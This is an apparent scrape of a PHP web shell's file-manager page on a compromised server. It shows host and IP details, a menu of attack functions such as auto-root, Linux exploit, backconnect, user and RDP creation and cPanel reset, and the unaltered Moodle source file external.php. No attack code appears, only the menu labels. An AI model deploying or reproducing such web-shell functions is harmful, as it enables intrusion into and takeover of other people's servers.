Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.130.35
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
classes /
output /
[ HOME SHELL ]
Name
Size
Permission
Action
checkbox_toggleall.php
5.02
KB
-rw-r--r--
chooser.php
3.86
KB
-rw-r--r--
chooser_item.php
3.16
KB
-rw-r--r--
chooser_section.php
2.34
KB
-rw-r--r--
external.php
8.33
KB
-rw-r--r--
icon_system.php
4.81
KB
-rw-r--r--
icon_system_font.php
1.57
KB
-rw-r--r--
icon_system_fontawesome.php
22.23
KB
-rw-r--r--
icon_system_standard.php
1.52
KB
-rw-r--r--
inplace_editable.php
9.44
KB
-rw-r--r--
mustache_engine.php
2.59
KB
-rw-r--r--
mustache_filesystem_loader.php
1.75
KB
-rw-r--r--
mustache_helper_collection.php
7.53
KB
-rw-r--r--
mustache_javascript_helper.php
1.91
KB
-rw-r--r--
mustache_pix_helper.php
2.7
KB
-rw-r--r--
mustache_quote_helper.php
1.89
KB
-rw-r--r--
mustache_shorten_text_helper.p...
1.96
KB
-rw-r--r--
mustache_string_helper.php
2.51
KB
-rw-r--r--
mustache_template_finder.php
4.33
KB
-rw-r--r--
mustache_template_source_loade...
14.93
KB
-rw-r--r--
mustache_uniqid_helper.php
1.56
KB
-rw-r--r--
mustache_user_date_helper.php
2.09
KB
-rw-r--r--
notification.php
5.09
KB
-rw-r--r--
url_rewriter.php
1.64
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : external.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Mustache helper to load strings from string_manager. * * @package core * @category output * @copyright 2015 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\output; use external_api; use external_function_parameters; use external_multiple_structure; use external_single_structure; use external_value; use core_component; use moodle_exception; use context_system; use theme_config; use core\external\output\icon_system\load_fontawesome_map; /** * This class contains a list of webservice functions related to output. * * @copyright 2015 Damyon Wiese * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since 2.9 */ class external extends external_api { /** * Returns description of load_template() parameters. * * @return external_function_parameters */ public static function load_template_parameters() { return new external_function_parameters( array('component' => new external_value(PARAM_COMPONENT, 'component containing the template'), 'template' => new external_value(PARAM_SAFEPATH, 'name of the template'), 'themename' => new external_value(PARAM_ALPHANUMEXT, 'The current theme.'), 'includecomments' => new external_value(PARAM_BOOL, 'Include comments or not', VALUE_DEFAULT, false) ) ); } /** * Return a mustache template, and all the strings it requires. * * @param string $component The component that holds the template. * @param string $templatename The name of the template. * @param string $themename The name of the current theme. * @return string the template */ public static function load_template($component, $template, $themename, $includecomments = false) { global $DB, $CFG, $PAGE; $params = self::validate_parameters(self::load_template_parameters(), array('component' => $component, 'template' => $template, 'themename' => $themename, 'includecomments' => $includecomments)); $loader = new mustache_template_source_loader(); // Will throw exceptions if the template does not exist. return $loader->load( $params['component'], $params['template'], $params['themename'], $params['includecomments'] ); } /** * Returns description of load_template() result value. * * @return external_description */ public static function load_template_returns() { return new external_value(PARAM_RAW, 'template'); } /** * Returns description of load_template_with_dependencies() parameters. * * @return external_function_parameters */ public static function load_template_with_dependencies_parameters() { return new external_function_parameters([ 'component' => new external_value(PARAM_COMPONENT, 'component containing the template'), 'template' => new external_value(PARAM_SAFEPATH, 'name of the template'), 'themename' => new external_value(PARAM_ALPHANUMEXT, 'The current theme.'), 'includecomments' => new external_value(PARAM_BOOL, 'Include comments or not', VALUE_DEFAULT, false), 'lang' => new external_value(PARAM_LANG, 'lang', VALUE_DEFAULT, null), ]); } /** * Return a mustache template, and all the child templates and strings it requires. * * @param string $component The component that holds the template. * @param string $template The name of the template. * @param string $themename The name of the current theme. * @param bool $includecomments Whether to strip comments from the template source. * @param string $lang moodle translation language, null means use current. * @return string the template */ public static function load_template_with_dependencies( string $component, string $template, string $themename, bool $includecomments = false, string $lang = null ) { global $DB, $CFG, $PAGE; $params = self::validate_parameters( self::load_template_with_dependencies_parameters(), [ 'component' => $component, 'template' => $template, 'themename' => $themename, 'includecomments' => $includecomments, 'lang' => $lang ] ); $loader = new mustache_template_source_loader(); // Will throw exceptions if the template does not exist. $dependencies = $loader->load_with_dependencies( $params['component'], $params['template'], $params['themename'], $params['includecomments'], [], [], $params['lang'] ); $formatdependencies = function($dependency) { $results = []; foreach ($dependency as $dependencycomponent => $dependencyvalues) { foreach ($dependencyvalues as $dependencyname => $dependencyvalue) { array_push($results, [ 'component' => $dependencycomponent, 'name' => $dependencyname, 'value' => $dependencyvalue ]); } } return $results; }; // Now we have to unpack the dependencies into a format that can be returned // by external functions (because they don't support dynamic keys). return [ 'templates' => $formatdependencies($dependencies['templates']), 'strings' => $formatdependencies($dependencies['strings']) ]; } /** * Returns description of load_template_with_dependencies() result value. * * @return external_description */ public static function load_template_with_dependencies_returns() { $resourcestructure = new external_single_structure([ 'component' => new external_value(PARAM_COMPONENT, 'component containing the resource'), 'name' => new external_value(PARAM_TEXT, 'name of the resource'), 'value' => new external_value(PARAM_RAW, 'resource value') ]); return new external_single_structure([ 'templates' => new external_multiple_structure($resourcestructure), 'strings' => new external_multiple_structure($resourcestructure) ]); } /** * Returns description of load_icon_map() parameters. * * @return external_function_parameters */ public static function load_fontawesome_icon_map_parameters() { return new external_function_parameters([]); } /** * Return a mapping of icon names to icons. * * @deprecated since Moodle 3.10 * @return array the mapping */ public static function load_fontawesome_icon_map() { global $PAGE; return load_fontawesome_map::execute($PAGE->theme->name); } /** * Returns description of load_icon_map() result value. * * @return external_description */ public static function load_fontawesome_icon_map_returns() { return load_fontawesome_map::execute_returns(); } /** * The `load_fontawesome_icon_map` function has been replaced with * @see load_fontawesome_map::execute() * * @return bool */ public static function load_fontawesome_icon_map_is_deprecated() { return true; } }
Close